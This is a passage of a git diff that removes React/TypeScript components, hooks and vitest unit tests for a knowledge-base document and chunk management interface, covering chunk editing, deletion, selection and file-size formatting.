-        const bytesPerUnit = 1024;
-        const sizeUnits = ['Bytes', 'KB', 'MB', 'GB'];
-        const unitIndex = Math.floor(Math.log(bytes) / Math.log(bytesPerUnit));
-        const sizeInUnit = bytes / Math.pow(bytesPerUnit, unitIndex);
-        const formattedSize = parseFloat(sizeInUnit.toFixed(1));
-
-        return formattedSize + ' ' + sizeUnits[unitIndex];
-    };
-
-    const handleOpenChange = (newOpen: boolean) => {
-        setOpen(newOpen);
-
-        if (!newOpen) {
-            resetForm();
-        }
-    };
-
-    return {
-        canSubmit,
-        formatFileSize,
-        handleFileChange,
-        handleOpenChange,
-        handleSubmit,
-        open,
-        removeFile,
-        selectedFiles,
-        setOpen,
-        uploading,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkEditDialog.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkEditDialog.tsx
deleted file mode 100644
index cd09977f0d1..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkEditDialog.tsx
+++ /dev/null
@@ -1,65 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    Dialog,
-    DialogCloseButton,
-    DialogContent,
-    DialogDescription,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-} from '@/components/ui/dialog';
-import {Label} from '@/components/ui/label';
-import {Textarea} from '@/components/ui/textarea';
-import useKnowledgeBaseDocumentChunkEditDialog from '@/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkEditDialog';
-
-interface KnowledgeBaseDocumentChunkEditDialogProps {
-    knowledgeBaseId: string;
-}
-
-const KnowledgeBaseDocumentChunkEditDialog = ({knowledgeBaseId}: KnowledgeBaseDocumentChunkEditDialogProps) => {
-    const {content, handleClose, handleContentChange, handleOpenChange, handleSave, isPending, open} =
-        useKnowledgeBaseDocumentChunkEditDialog({knowledgeBaseId});
-
-    return (
-        <Dialog onOpenChange={handleOpenChange} open={open}>
-            <DialogContent className="sm:max-w-[600px]">
-                <DialogHeader className="flex flex-row items-center justify-between space-y-0">
-                    <div className="flex flex-col space-y-1">
-                        <DialogTitle>Edit Chunk</DialogTitle>
-
-                        <DialogDescription>
-                            Modify the text content of this chunk. Changes will be re-embedded in the vector store.
-                        </DialogDescription>
-                    </div>
-
-                    <DialogCloseButton />
-                </DialogHeader>
-
-                <div className="space-y-4 py-4">
-                    <div className="space-y-2">
-                        <Label htmlFor="content">Content</Label>
-
-                        <Textarea
-                            id="content"
-                            onChange={(event) => handleContentChange(event.target.value)}
-                            rows={10}
-                            value={content}
-                        />
-                    </div>
-                </div>
-
-                <DialogFooter>
-                    <Button onClick={handleClose} variant="outline">
-                        Cancel
-                    </Button>
-
-                    <Button disabled={isPending} onClick={handleSave}>
-                        {isPending ? 'Saving...' : 'Save Changes'}
-                    </Button>
-                </DialogFooter>
-            </DialogContent>
-        </Dialog>
-    );
-};
-
-export default KnowledgeBaseDocumentChunkEditDialog;
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkList.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkList.tsx
deleted file mode 100644
index 3d49ee29ac1..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkList.tsx
+++ /dev/null
@@ -1,73 +0,0 @@
-import DeleteAlertDialog from '@/components/DeleteAlertDialog';
-import KnowledgeBaseDocumentChunkEditDialog from '@/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkEditDialog';
-import KnowledgeBaseDocumentChunkListItemDropdownMenu from '@/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkListItemDropdownMenu';
-import KnowledgeBaseDocumentChunkListItemHeader from '@/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkListItemHeader';
-import KnowledgeBaseDocumentChunkListSelectionBar from '@/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkListSelectionBar';
-import useKnowledgeBaseDocumentChunkDeleteDialog from '@/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkDeleteDialog';
-import {KnowledgeBaseDocumentChunk} from '@/shared/middleware/graphql';
-
-interface KnowledgeBaseDocumentChunkListProps {
-    chunks: KnowledgeBaseDocumentChunk[];
-    documentName: string;
-    knowledgeBaseId: string;
-}
-
-const KnowledgeBaseDocumentChunkList = ({
-    chunks,
-    documentName,
-    knowledgeBaseId,
-}: KnowledgeBaseDocumentChunkListProps) => {
-    const {
-        handleClose: handleDeleteDialogClose,
-        handleConfirm: handleDeleteConfirm,
-        open: deleteDialogOpen,
-    } = useKnowledgeBaseDocumentChunkDeleteDialog({knowledgeBaseId});
-
-    if (chunks.length === 0) {
-        return (
-            <p className="ml-7 border-l border-stroke-neutral-tertiary py-2 pl-4 text-sm text-muted-foreground">
-                No chunks available for this document.
-            </p>
-        );
-    }
-
-    return (
-        <div className="ml-7 space-y-2 border-l border-stroke-neutral-tertiary py-2 pl-4">
-            <KnowledgeBaseDocumentChunkListSelectionBar />
-
-            {chunks.map((chunk, index) => (
-                <div className="rounded-lg border border-stroke-neutral-secondary bg-background p-4" key={chunk.id}>
-                    <div className="mb-2 flex items-center justify-between">
-                        <KnowledgeBaseDocumentChunkListItemHeader
-                            chunkId={chunk.id}
-                            chunkIndex={index}
-                            documentName={documentName}
-                        />
-
-                        <KnowledgeBaseDocumentChunkListItemDropdownMenu chunk={chunk} />
-                    </div>
-
-                    <p className="ml-7 text-sm text-content-neutral-primary">{chunk.content}</p>
-
-                    {chunk.metadata && (
-                        <p className="ml-7 mt-2 text-xs text-content-neutral-tertiary">
-                            <span className="font-medium">Metadata: </span>
-
-                            {JSON.stringify(chunk.metadata)}
-                        </p>
-                    )}
-                </div>
-            ))}
-
-            <KnowledgeBaseDocumentChunkEditDialog knowledgeBaseId={knowledgeBaseId} />
-
-            <DeleteAlertDialog
-                onCancel={handleDeleteDialogClose}
-                onDelete={handleDeleteConfirm}
-                open={deleteDialogOpen}
-            />
-        </div>
-    );
-};
-
-export default KnowledgeBaseDocumentChunkList;
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkListItemDropdownMenu.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkListItemDropdownMenu.tsx
deleted file mode 100644
index 6967e31fe73..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkListItemDropdownMenu.tsx
+++ /dev/null
@@ -1,43 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    DropdownMenu,
-    DropdownMenuContent,
-    DropdownMenuItem,
-    DropdownMenuSeparator,
-    DropdownMenuTrigger,
-} from '@/components/ui/dropdown-menu';
-import useKnowledgeBaseDocumentChunkListItemDropdownMenu from '@/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkListItemDropdownMenu';
-import {KnowledgeBaseDocumentChunk} from '@/shared/middleware/graphql';
-import {EditIcon, EllipsisVerticalIcon, Trash2Icon} from 'lucide-react';
-
-interface KnowledgeBaseDocumentChunkListItemDropdownMenuProps {
-    chunk: KnowledgeBaseDocumentChunk;
-}
-
-const KnowledgeBaseDocumentChunkListItemDropdownMenu = ({
-    chunk,
-}: KnowledgeBaseDocumentChunkListItemDropdownMenuProps) => {
-    const {handleDelete, handleEdit} = useKnowledgeBaseDocumentChunkListItemDropdownMenu({chunk});
-
-    return (
-        <DropdownMenu>
-            <DropdownMenuTrigger asChild>
-                <Button aria-label="More Chunk Actions" icon={<EllipsisVerticalIcon />} size="icon" variant="ghost" />
-            </DropdownMenuTrigger>
-
-            <DropdownMenuContent align="end" className="p-0">
-                <DropdownMenuItem className="dropdown-menu-item" onClick={handleEdit}>
-                    <EditIcon /> Edit
-                </DropdownMenuItem>
-
-                <DropdownMenuSeparator className="m-0" />
-
-                <DropdownMenuItem className="dropdown-menu-item-destructive" onClick={handleDelete}>
-                    <Trash2Icon /> Delete
-                </DropdownMenuItem>
-            </DropdownMenuContent>
-        </DropdownMenu>
-    );
-};
-
-export default KnowledgeBaseDocumentChunkListItemDropdownMenu;
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkListItemHeader.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkListItemHeader.tsx
deleted file mode 100644
index 4798cde229f..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkListItemHeader.tsx
+++ /dev/null
@@ -1,32 +0,0 @@
-import {Checkbox} from '@/components/ui/checkbox';
-import useKnowledgeBaseDocumentChunkListItemHeader from '@/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkListItemHeader';
-
-interface KnowledgeBaseDocumentChunkListItemHeaderProps {
-    chunkId: string;
-    chunkIndex: number;
-    documentName: string;
-}
-
-const KnowledgeBaseDocumentChunkListItemHeader = ({
-    chunkId,
-    chunkIndex,
-    documentName,
-}: KnowledgeBaseDocumentChunkListItemHeaderProps) => {
-    const {handleSelectionChange, isSelected} = useKnowledgeBaseDocumentChunkListItemHeader({chunkId});
-
-    return (
-        <div className="flex items-center space-x-3">
-            <Checkbox checked={isSelected} onCheckedChange={handleSelectionChange} />
-
-            <div className="flex items-center space-x-2 text-sm text-gray-500">
-                <span className="font-medium">{documentName}</span>
-
-                <span>•</span>
-
-                <span>Chunk {chunkIndex + 1}</span>
-            </div>
-        </div>
-    );
-};
-
-export default KnowledgeBaseDocumentChunkListItemHeader;
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkListSelectionBar.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkListSelectionBar.tsx
deleted file mode 100644
index 2529b6361df..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentChunkListSelectionBar.tsx
+++ /dev/null
@@ -1,31 +0,0 @@
-import Button from '@/components/Button/Button';
-import useKnowledgeBaseDocumentChunkListSelectionBar from '@/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentChunkListSelectionBar';
-import {Trash2Icon} from 'lucide-react';
-
-const KnowledgeBaseDocumentChunkListSelectionBar = () => {
-    const {handleClearSelection, handleDeleteSelected, hasSelection, selectedCount} =
-        useKnowledgeBaseDocumentChunkListSelectionBar();
-
-    if (!hasSelection) {
-        return null;
-    }
-
-    return (
-        <div className="flex items-center justify-between rounded-lg border border-blue-200 bg-blue-50 p-3">
-            <span className="text-sm font-medium text-blue-900">{selectedCount} chunk(s) selected</span>
-
-            <div className="flex space-x-2">
-                <Button onClick={handleDeleteSelected} size="sm" variant="destructive">
-                    <Trash2Icon className="mr-2 size-4" />
-                    Delete Selected
-                </Button>
-
-                <Button onClick={handleClearSelection} size="sm" variant="outline">
-                    Clear Selection
-                </Button>
-            </div>
-        </div>
-    );
-};
-
-export default KnowledgeBaseDocumentChunkListSelectionBar;
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentList.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentList.tsx
deleted file mode 100644
index 409131a4d80..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentList.tsx
+++ /dev/null
@@ -1,69 +0,0 @@
-import DeleteAlertDialog from '@/components/DeleteAlertDialog';
-import {Collapsible, CollapsibleContent} from '@/components/ui/collapsible';
-import {KnowledgeBaseDocument} from '@/shared/middleware/graphql';
-
-import KnowledgeBaseDocumentChunkList from './KnowledgeBaseDocumentChunkList';
-import KnowledgeBaseDocumentListItem from './KnowledgeBaseDocumentListItem';
-import useKnowledgeBaseDocumentList from './hooks/useKnowledgeBaseDocumentList';
-import useKnowledgeBaseDocumentListItemDeleteDialog from './hooks/useKnowledgeBaseDocumentListItemDeleteDialog';
-
-interface KnowledgeBaseDocumentListProps {
-    documents: KnowledgeBaseDocument[];
-    knowledgeBaseId: string;
-}
-
-const KnowledgeBaseDocumentList = ({documents, knowledgeBaseId}: KnowledgeBaseDocumentListProps) => {
-    const {getRemainingTagsForDocument, getSortedChunksForDocument, getTagsForDocument} = useKnowledgeBaseDocumentList({
-        documents,
-    });
-
-    const {
-        handleClose: handleDeleteDialogClose,
-        handleConfirm: handleDeleteConfirm,
-        open: deleteDialogOpen,
-    } = useKnowledgeBaseDocumentListItemDeleteDialog({knowledgeBaseId});
-
-    return (
-        <div className="w-full divide-y divide-stroke-neutral-tertiary">
-            {documents.length === 0 ? (
-                <p className="rounded-lg border border-stroke-neutral-secondary bg-surface-neutral-secondary p-8 text-center text-muted-foreground">
-                    No documents available. Upload documents to get started.
-                </p>
-            ) : (
-                <>
-                    {documents.map((document) => {
-                        const tags = getTagsForDocument(document.id);
-                        const remainingTags = getRemainingTagsForDocument(document.id);
-                        const sortedChunks = getSortedChunksForDocument(document.id);
-
-                        return (
-                            <Collapsible className="group" key={document.id}>
-                                <KnowledgeBaseDocumentListItem
-                                    document={document}
-                                    remainingTags={remainingTags}
-                                    tags={tags}
-                                />
-
-                                <CollapsibleContent>
-                                    <KnowledgeBaseDocumentChunkList
-                                        chunks={sortedChunks}
-                                        documentName={document.name}
-                                        knowledgeBaseId={knowledgeBaseId}
-                                    />
-                                </CollapsibleContent>
-                            </Collapsible>
-                        );
-                    })}
-
-                    <DeleteAlertDialog
-                        onCancel={handleDeleteDialogClose}
-                        onDelete={handleDeleteConfirm}
-                        open={deleteDialogOpen}
-                    />
-                </>
-            )}
-        </div>
-    );
-};
-
-export default KnowledgeBaseDocumentList;
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentListItem.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentListItem.tsx
deleted file mode 100644
index c42d9cb7dfc..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentListItem.tsx
+++ /dev/null
@@ -1,94 +0,0 @@
-import {CollapsibleTrigger} from '@/components/ui/collapsible';
-import KnowledgeBaseDocumentListItemDropdownMenu from '@/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentListItemDropdownMenu';
-import useKnowledgeBaseDocumentListItem from '@/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentListItem';
-import useKnowledgeBaseDocumentListItemTagList from '@/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentListItemTagList';
-import TagList from '@/shared/components/TagList';
-import {KnowledgeBaseDocument, Tag} from '@/shared/middleware/graphql';
-import {ChevronDownIcon} from 'lucide-react';
-
-interface KnowledgeBaseDocumentListItemProps {
-    document: KnowledgeBaseDocument;
-    remainingTags?: Tag[];
-    tags: Tag[];
-}
-
-const KnowledgeBaseDocumentListItem = ({document, remainingTags, tags}: KnowledgeBaseDocumentListItemProps) => {
-    const {
-        chunkCount,
-        chunksCollapsibleTriggerRef,
-        displayName,
-        documentIcon,
-        handleDocumentListItemClick,
-        handleDocumentListItemKeyDown,
-        handleTagListClick,
-        statusBadge,
-    } = useKnowledgeBaseDocumentListItem({document});
-
-    const {convertedRemainingTags, convertedTags, updateTagsMutation} = useKnowledgeBaseDocumentListItemTagList({
-        knowledgeBaseDocumentId: document.id,
-        remainingTags,
-        tags,
-    });
-
-    return (
-        <div
-            className="flex w-full cursor-pointer items-center justify-between rounded-md px-2 hover:bg-muted/50"
-            onClick={handleDocumentListItemClick}
-            onKeyDown={handleDocumentListItemKeyDown}
-            role="button"
-            tabIndex={0}
-        >
-            <div className="flex flex-1 items-center py-4">
-                <div className="flex-1">
-                    <div className="flex items-center gap-2">
-                        {documentIcon}
-
-                        <span className="text-base font-semibold">{displayName}</span>
-                    </div>
-
-                    <div className="mt-2 flex items-center gap-4">
-                        <CollapsibleTrigger
-                            className="group flex items-center text-xs font-semibold text-muted-foreground"
-                            ref={chunksCollapsibleTriggerRef}
-                        >
-                            <span className="mr-1">
-                                {chunkCount === 1 ? `${chunkCount} chunk` : `${chunkCount} chunks`}
-                            </span>
-
-                            <ChevronDownIcon className="size-4 duration-300 group-data-[state=open]:rotate-180" />
-                        </CollapsibleTrigger>
-
-                        {document.createdDate && (
-                            <span className="text-xs text-muted-foreground">
-                                Created {new Date(document.createdDate).toLocaleDateString()}
-                            </span>
-                        )}
-
-                        <span onClick={handleTagListClick}>
-                            <TagList
-                                getRequest={(_id, newTags) => ({
-                                    input: {
-                                        knowledgeBaseDocumentId: document.id,
-                                        tags: newTags.map((tag) => ({id: tag.id, name: tag.name})),
-                                    },
-                                })}
-                                id={+document.id}
-                                remainingTags={convertedRemainingTags}
-                                tags={convertedTags}
-                                updateTagsMutation={updateTagsMutation}
-                            />
-                        </span>
-                    </div>
-                </div>
-
-                <div className="flex items-center justify-end gap-x-4">
-                    {statusBadge}
-
-                    <KnowledgeBaseDocumentListItemDropdownMenu documentId={document.id} />
-                </div>
-            </div>
-        </div>
-    );
-};
-
-export default KnowledgeBaseDocumentListItem;
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentListItemDropdownMenu.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentListItemDropdownMenu.tsx
deleted file mode 100644
index c4b397d3d06..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentListItemDropdownMenu.tsx
+++ /dev/null
@@ -1,48 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    DropdownMenu,
-    DropdownMenuContent,
-    DropdownMenuItem,
-    DropdownMenuSeparator,
-    DropdownMenuTrigger,
-} from '@/components/ui/dropdown-menu';
-import useKnowledgeBaseDocumentListItemDropdownMenu from '@/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/useKnowledgeBaseDocumentListItemDropdownMenu';
-import {EllipsisVerticalIcon, Trash2Icon} from 'lucide-react';
-
-interface KnowledgeBaseDocumentListItemDropdownMenuProps {
-    documentId: string;
-}
-
-const KnowledgeBaseDocumentListItemDropdownMenu = ({documentId}: KnowledgeBaseDocumentListItemDropdownMenuProps) => {
-    const {handleDelete} = useKnowledgeBaseDocumentListItemDropdownMenu({documentId});
-
-    return (
-        <DropdownMenu>
-            <DropdownMenuTrigger asChild onClick={(event) => event.stopPropagation()}>
-                <Button
-                    aria-label="More Document Actions"
-                    icon={<EllipsisVerticalIcon />}
-                    size="icon"
-                    variant="ghost"
-                />
-            </DropdownMenuTrigger>
-
-            <DropdownMenuContent align="end" className="p-0">
-                <DropdownMenuSeparator className="m-0" />
-
-                <DropdownMenuItem
-                    className="dropdown-menu-item-destructive"
-                    onClick={(event) => {
-                        event.stopPropagation();
-
-                        handleDelete();
-                    }}
-                >
-                    <Trash2Icon /> Delete
-                </DropdownMenuItem>
-            </DropdownMenuContent>
-        </DropdownMenu>
-    );
-};
-
-export default KnowledgeBaseDocumentListItemDropdownMenu;
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkDeleteDialog.test.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkDeleteDialog.test.ts
deleted file mode 100644
index d770d7f0654..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkDeleteDialog.test.ts
+++ /dev/null
@@ -1,222 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseDocumentChunkDeleteDialog from '../useKnowledgeBaseDocumentChunkDeleteDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        deleteMutate: vi.fn(),
-        invalidateQueries: vi.fn(),
-        selectionStoreState: {
-            clearSelection: vi.fn(),
-            selectedChunks: [] as string[],
-        },
-        storeState: {
-            chunkIdsToDelete: [] as string[],
-            clearDialog: vi.fn(),
-            setChunkIdsToDelete: vi.fn(),
-        },
-        toast: vi.fn(),
-    };
-});
-
-vi.mock('@/hooks/use-toast', () => ({
-    useToast: vi.fn(() => ({
-        toast: hoisted.toast,
-    })),
-}));
-
-vi.mock('@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkDeleteDialogStore', () => ({
-    useKnowledgeBaseDocumentChunkDeleteDialogStore: vi.fn(() => ({
-        chunkIdsToDelete: hoisted.storeState.chunkIdsToDelete,
-        clearDialog: () => {
-            hoisted.storeState.chunkIdsToDelete = [];
-            hoisted.storeState.clearDialog();
-        },
-        setChunkIdsToDelete: (chunkIds: string[]) => {
-            hoisted.storeState.chunkIdsToDelete = chunkIds;
-            hoisted.storeState.setChunkIdsToDelete(chunkIds);
-        },
-    })),
-}));
-
-vi.mock('@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkSelectionStore', () => ({
-    useKnowledgeBaseDocumentChunkSelectionStore: vi.fn(() => ({
-        clearSelection: hoisted.selectionStoreState.clearSelection,
-        selectedChunks: hoisted.selectionStoreState.selectedChunks,
-    })),
-}));
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useDeleteKnowledgeBaseDocumentChunkMutation: vi.fn((options: {onSuccess: () => void}) => ({
-        isPending: false,
-        mutate: (vars: unknown, mutateOptions?: {onSuccess?: () => void; onError?: (error: Error) => void}) => {
-            hoisted.deleteMutate(vars);
-            options.onSuccess();
-
-            if (mutateOptions?.onSuccess) {
-                mutateOptions.onSuccess();
-            }
-        },
-    })),
-}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: vi.fn(() => ({
-        invalidateQueries: hoisted.invalidateQueries,
-    })),
-}));
-
-describe('useKnowledgeBaseDocumentChunkDeleteDialog', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.storeState.chunkIdsToDelete = [];
-        hoisted.selectionStoreState.selectedChunks = [];
-    });
-
-    describe('initial state', () => {
-        it('returns closed state when no chunks to delete', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.open).toBe(false);
-            expect(result.current.chunkCount).toBe(0);
-        });
-
-        it('returns open state when chunks are set to delete', () => {
-            hoisted.storeState.chunkIdsToDelete = ['chunk-1', 'chunk-2'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            expect(result.current.open).toBe(true);
-            expect(result.current.chunkCount).toBe(2);
-        });
-    });
-
-    describe('handleDeleteChunk', () => {
-        it('sets single chunk id to delete', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleDeleteChunk('chunk-1');
-            });
-
-            expect(hoisted.storeState.setChunkIdsToDelete).toHaveBeenCalledWith(['chunk-1']);
-        });
-    });
-
-    describe('handleDeleteSelectedChunks', () => {
-        it('sets selected chunks to delete', () => {
-            hoisted.selectionStoreState.selectedChunks = ['chunk-1', 'chunk-2', 'chunk-3'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleDeleteSelectedChunks();
-            });
-
-            expect(hoisted.storeState.setChunkIdsToDelete).toHaveBeenCalledWith(['chunk-1', 'chunk-2', 'chunk-3']);
-        });
-
-        it('does not set chunks when no selection', () => {
-            hoisted.selectionStoreState.selectedChunks = [];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleDeleteSelectedChunks();
-            });
-
-            expect(hoisted.storeState.setChunkIdsToDelete).not.toHaveBeenCalled();
-        });
-    });
-
-    describe('handleConfirm', () => {
-        it('does nothing when no chunks to delete', async () => {
-            hoisted.storeState.chunkIdsToDelete = [];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            await act(async () => {
-                await result.current.handleConfirm();
-            });
-
-            expect(hoisted.deleteMutate).not.toHaveBeenCalled();
-        });
-
-        it('calls delete mutation for each chunk', async () => {
-            hoisted.storeState.chunkIdsToDelete = ['chunk-1', 'chunk-2'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            await act(async () => {
-                await result.current.handleConfirm();
-            });
-
-            expect(hoisted.deleteMutate).toHaveBeenCalledTimes(2);
-            expect(hoisted.deleteMutate).toHaveBeenCalledWith({id: 'chunk-1'});
-            expect(hoisted.deleteMutate).toHaveBeenCalledWith({id: 'chunk-2'});
-        });
-
-        it('shows success toast after deletion', async () => {
-            hoisted.storeState.chunkIdsToDelete = ['chunk-1'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            await act(async () => {
-                await result.current.handleConfirm();
-            });
-
-            expect(hoisted.toast).toHaveBeenCalledWith({
-                description: '1 chunk deleted successfully.',
-            });
-        });
-
-        it('clears dialog after confirmation', async () => {
-            hoisted.storeState.chunkIdsToDelete = ['chunk-1'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            await act(async () => {
-                await result.current.handleConfirm();
-            });
-
-            expect(hoisted.storeState.clearDialog).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleClose', () => {
-        it('clears the dialog', () => {
-            hoisted.storeState.chunkIdsToDelete = ['chunk-1'];
-
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleClose();
-            });
-
-            expect(hoisted.storeState.clearDialog).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleOpenChange', () => {
-        it('clears dialog when open is false', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(hoisted.storeState.clearDialog).toHaveBeenCalled();
-        });
-
-        it('does not clear dialog when open is true', () => {
-            const {result} = renderHook(() => useKnowledgeBaseDocumentChunkDeleteDialog({knowledgeBaseId: 'kb-1'}));
-
-            act(() => {
-                result.current.handleOpenChange(true);
-            });
-
-            expect(hoisted.storeState.clearDialog).not.toHaveBeenCalled();
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkEditDialog.test.ts b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkEditDialog.test.ts
deleted file mode 100644
index 9f4079bac2f..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/hooks/tests/useKnowledgeBaseDocumentChunkEditDialog.test.ts
+++ /dev/null
@@ -1,225 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseDocumentChunkEditDialog from '../useKnowledgeBaseDocumentChunkEditDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        invalidateQueries: vi.fn(),
-        storeState: {
-            chunk: null as {content: string; id: string; knowledgeBaseDocumentId: string} | null,
-            clearDialog: vi.fn(),
-            content: '',
-            setChunk: vi.fn(),
-            setContent: vi.fn(),
-        },
-        toast: vi.fn(),
-        updateMutate: vi.fn(),
-    };
-});
-
-vi.mock('@/hooks/use-toast', () => ({
-    useToast: vi.fn(() => ({
-        toast: hoisted.toast,
-    })),
-}));
-
-vi.mock('@/pages/automation/knowledge-base/stores/useKnowledgeBaseDocumentChunkEditDialogStore', () => ({
-    useKnowledgeBaseDocumentChunkEditDialogStore: vi.fn(() => ({
-        chunk: hoisted.storeState.chunk,
-        clearDialog: () => {
-            hoisted.storeState.chunk = null;
-            hoisted.storeState.content = '';
-            hoisted.storeState.clearDialog();
-        },
-        content: hoisted.storeState.content,
-        setChunk: (chunk: {content: string; id: string; knowledgeBaseDocumentId: string}) => {
-            hoisted.storeState.chunk = chunk;
-            hoisted.storeState.content = chunk.content;
-            hoisted.storeState.setChunk(chunk);
-        },
-        setContent: (content: string) => {
-            hoisted.storeState.content = content;
-            hoisted.storeState.setContent(content);
-        },
-    })),
-}));
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useUpdateKnowledgeBaseDocumentChunkMutation: vi.fn((options: {onSuccess: () => void; onError: () => void}) => ({
-        isPending: false,
-        mutate: (vars: unknown) => {
-            hoisted.updateMutate(vars);
-            options.onSuccess();
-        },
-    })),
-}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: vi.fn(() => ({
-        invalidateQueries: hoisted.invalidateQueries,
-    })),
-}));
-
-describe('useKnowledgeBaseDocumentChunkEditDialog', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-        hoisted.storeState.chunk = null;
-        hoisted.storeState.content = '';
-    });
-
-    describe('initial state', () => {
